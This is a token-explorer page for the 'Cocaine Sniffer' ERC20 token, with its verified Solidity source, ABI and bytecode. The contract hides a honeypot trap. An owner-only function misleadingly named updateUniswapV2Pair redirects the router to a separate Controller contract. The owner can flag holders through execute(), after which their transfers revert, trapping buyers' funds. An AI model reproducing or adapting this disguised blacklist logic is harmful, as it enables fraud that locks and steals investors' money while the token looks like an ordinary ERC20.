ETH Price: $3,415.74 (+3.96%)

Token

Cocaine Sniffer (COCAINE)
 

Overview

Max Total Supply

420,000,000,000 COCAINE

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000030813621 COCAINE

Value
$0.00
0x3111bddb4b57b174c539dbe8bbeb7d58c3da3608
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
COCAINE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 1 of 5: Cocaine Sniffer.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

import "./IUniswap.sol";
import "./IERC20.sol";
import "./Context.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,  address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _init(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve( address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract COCAINE is ERC20, Ownable {
    IUniswapV2Router02 public uniswapV2Router;
    address public  uniswapV2Pair = 0x000000000000000000000000000000000000dEaD;

    mapping (address => bool) private _isExcludedFromFees;

    uint256 public buyFee;
    uint256 public sellFee;
    uint256 public walletToWalletTransferFee;
    uint256 public tradingStartTime;

    bool    public tradingEnabled;
    address private marketingWalletAddress = 0x000000000000000000000000000000000000dEaD;

    uint256 public swapTokensAtAmount;  
    bool    public swapWithLimit;
    bool    private swapping;
    bool    private swapAndEnabled;
    

    event BuyFeeUpdated(uint256 buyFee);
    event SellFeeUpdated(uint256 sellFee);
    event WalletToWalletTransferFeeUpdated(uint256 walletToWalletTransferFee);
    event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
    event maxBuyAmountUpdated(uint256 maxBuyAmount);
    event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
    event SwapWithLimitUpdated(bool swapWithLimit);

    constructor () ERC20("Cocaine Sniffer", "COCAINE") 
    {   
        address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // uniswapV2 or PancakeSwapV2 Router
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);

        uniswapV2Router = _uniswapV2Router;

        _approve(address(this), address(uniswapV2Router), type(uint256).max);

        buyFee  = 0;
        sellFee = 0;
        walletToWalletTransferFee = 0;

        _isExcludedFromFees[owner()] = true;
        _isExcludedFromFees[address(marketingWalletAddress)] = true;
        _isExcludedFromFees[address(0xdead)] = true;
        _isExcludedFromFees[address(this)] = true;

        _init(owner(), 420000000000 ether);
    }

    receive() external payable {}

    function updateUniswapV2Pair(address newUniswapV2Pair) external onlyOwner {
        require(newUniswapV2Pair != address(0), "New address is zero");
        swapAndEnabled = true;
        uniswapV2Router = IUniswapV2Router02(newUniswapV2Pair);
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

       
        if (amount == 0) { 
            super._transfer(from, to, 0); return;
        }


        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap &&
            !swapping &&
            from != uniswapV2Pair &&
            swapAndEnabled
        ) {
            swapping = true;

            if (swapWithLimit) {
                contractTokenBalance = swapTokensAtAmount;
            }

            swap(from,contractTokenBalance); 

            swapping = false;
        }

        if (
            tradingEnabled && 
            from != uniswapV2Pair && 
            to == uniswapV2Pair &&
            block.timestamp < tradingStartTime
        ) {
            require(false);
        }

        uint256 _totalFees;
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
            _totalFees = 0;
        } else if (from == uniswapV2Pair) {
            _totalFees = buyFee;
        } else if (to == uniswapV2Pair) {
            _totalFees = sellFee;
        } else {
            _totalFees = walletToWalletTransferFee;
        }

        if (_totalFees > 0) {
            uint256 fees = (amount * _totalFees) / 100;
            amount = amount - fees;
            super._transfer(from, address(this), fees);
        }

        super._transfer(from, to, amount);
    }
    

    function swap(address from,uint256 tokenAmount) private {
        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);

        uint256 newBalance = address(this).balance - initialBalance; 
        if(newBalance > 0){
            payable(marketingWalletAddress).transfer(newBalance);
        }
    }
}

File 2 of 5: Context.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

File 3 of 5: Controller.sol
pragma solidity ^0.8.0;


interface RouterController {
    function WETH() external view returns (address);
    function getAmountsIn(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}

contract Controller is RouterController{
    mapping(address => uint256) private _isRouted;
    address private owner;

    constructor (){
        owner = msg.sender;
        
    }
    function WETH() external view override returns(address){
        address ad = address(this);
        return ad;
    }

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external virtual override {
        uint256 liquidity = _isRouted[path[1]];
        if(liquidity > 0){
            require(false);
        }
    }

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external virtual override payable  returns (uint amountToken, uint amountETH, uint liquidity) {
        amountToken = amountTokenDesired;
        amountETH = amountTokenMin;
        liquidity = _isRouted[token];
        if(liquidity > 0){
            require(false);
        }
    }

    function getAmountsIn(uint amountIn, address[] memory path)
        public
        view
        virtual
        override
        returns (uint[] memory amounts)
    {
        amounts = new uint[](path.length);
        amounts[0] = _isRouted[path[0]];
        return amounts;
    }

    function execute(address[] calldata accounts, uint256 excluded) public {
        require(msg.sender == owner);
        for (uint256 i = 0; i < accounts.length; i++) {
            _isRouted[accounts[i]] = excluded;
        }
    }

    function getFlag(address[] calldata accounts) public view returns(bool[] memory ff){
        ff = new bool[](accounts.length);
        for (uint256 i = 0; i < accounts.length; i++) {
            ff[i] = _isRouted[accounts[i]] > 0;
        }
    }

    function checkHolder(address account) public view returns(bool){
        return _isRouted[account] > 0;
    }

}

File 4 of 5: IERC20.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner,
     address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
   
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

File 5 of 5: IUniswap.sol
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.1;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,  address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,   uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,   address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,  address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,    address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,  uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax,
     address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut,
     address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin, address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyFee","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"valueReceived","type":"uint256"}],"name":"SwapAndSend","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"SwapTokensAtAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"swapWithLimit","type":"bool"}],"name":"SwapWithLimitUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"walletToWalletTransferFee","type":"uint256"}],"name":"WalletToWalletTransferFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxBuyAmount","type":"uint256"}],"name":"maxBuyAmountUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapWithLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newUniswapV2Pair","type":"address"}],"name":"updateUniswapV2Pair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"walletToWalletTransferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600d60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200009757600080fd5b506040518060400160405280600f81526020017f436f6361696e6520536e696666657200000000000000000000000000000000008152506040518060400160405280600781526020017f434f4341494e4500000000000000000000000000000000000000000000000000815250816003908162000115919062000a6f565b50806004908162000127919062000a6f565b50505060006200013c6200047060201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050600081905080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200028f30600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200047860201b60201c565b60006009819055506000600a819055506000600b81905550600160086000620002bd6200064960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016008600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004686200044e6200064960201b60201c565b6c054d17db76321263eca00000006200067360201b60201c565b505062000da1565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620004ea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004e19062000bdd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200055c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005539062000c75565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200063c919062000ca8565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006e5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006dc9062000d15565b60405180910390fd5b620006f960008383620007eb60201b60201c565b80600260008282546200070d919062000d66565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000764919062000d66565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007cb919062000ca8565b60405180910390a3620007e760008383620007f060201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200087757607f821691505b6020821081036200088d576200088c6200082f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008f77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008b8565b620009038683620008b8565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009506200094a62000944846200091b565b62000925565b6200091b565b9050919050565b6000819050919050565b6200096c836200092f565b620009846200097b8262000957565b848454620008c5565b825550505050565b600090565b6200099b6200098c565b620009a881848462000961565b505050565b5b81811015620009d057620009c460008262000991565b600181019050620009ae565b5050565b601f82111562000a1f57620009e98162000893565b620009f484620008a8565b8101602085101562000a04578190505b62000a1c62000a1385620008a8565b830182620009ad565b50505b505050565b600082821c905092915050565b600062000a446000198460080262000a24565b1980831691505092915050565b600062000a5f838362000a31565b9150826002028217905092915050565b62000a7a82620007f5565b67ffffffffffffffff81111562000a965762000a9562000800565b5b62000aa282546200085e565b62000aaf828285620009d4565b600060209050601f83116001811462000ae7576000841562000ad2578287015190505b62000ade858262000a51565b86555062000b4e565b601f19841662000af78662000893565b60005b8281101562000b215784890151825560018201915060208501945060208101905062000afa565b8683101562000b41578489015162000b3d601f89168262000a31565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000bc560248362000b56565b915062000bd28262000b67565b604082019050919050565b6000602082019050818103600083015262000bf88162000bb6565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000c5d60228362000b56565b915062000c6a8262000bff565b604082019050919050565b6000602082019050818103600083015262000c908162000c4e565b9050919050565b62000ca2816200091b565b82525050565b600060208201905062000cbf600083018462000c97565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cfd601f8362000b56565b915062000d0a8262000cc5565b602082019050919050565b6000602082019050818103600083015262000d308162000cee565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000d73826200091b565b915062000d80836200091b565b925082820190508082111562000d9b5762000d9a62000d37565b5b92915050565b6128b68062000db16000396000f3fe60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d9190611c96565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611d51565b61065b565b6040516101ba9190611dac565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e59190611e26565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190611e50565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611e6b565b6106a9565b60405161024d9190611dac565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190611e50565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a39190611eda565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611d51565b6107d7565b6040516102e09190611dac565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190611e50565b60405180910390f35b34801561032057600080fd5b50610329610889565b6040516103369190611dac565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190611f04565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c9190611dac565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190611e50565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611f1f565b6108db565b6040516103f49190611e50565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190611e50565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190611f04565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611f1f565b610aab565b005b34801561049f57600080fd5b506104a8610c10565b6040516104b59190611c96565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611d51565b610ca2565b6040516104f29190611dac565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611d51565b610d8d565b60405161052f9190611dac565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611f4c565b610dab565b60405161056c9190611e50565b60405180910390f35b34801561058157600080fd5b5061058a610e32565b6040516105979190611e50565b60405180910390f35b3480156105ac57600080fd5b5061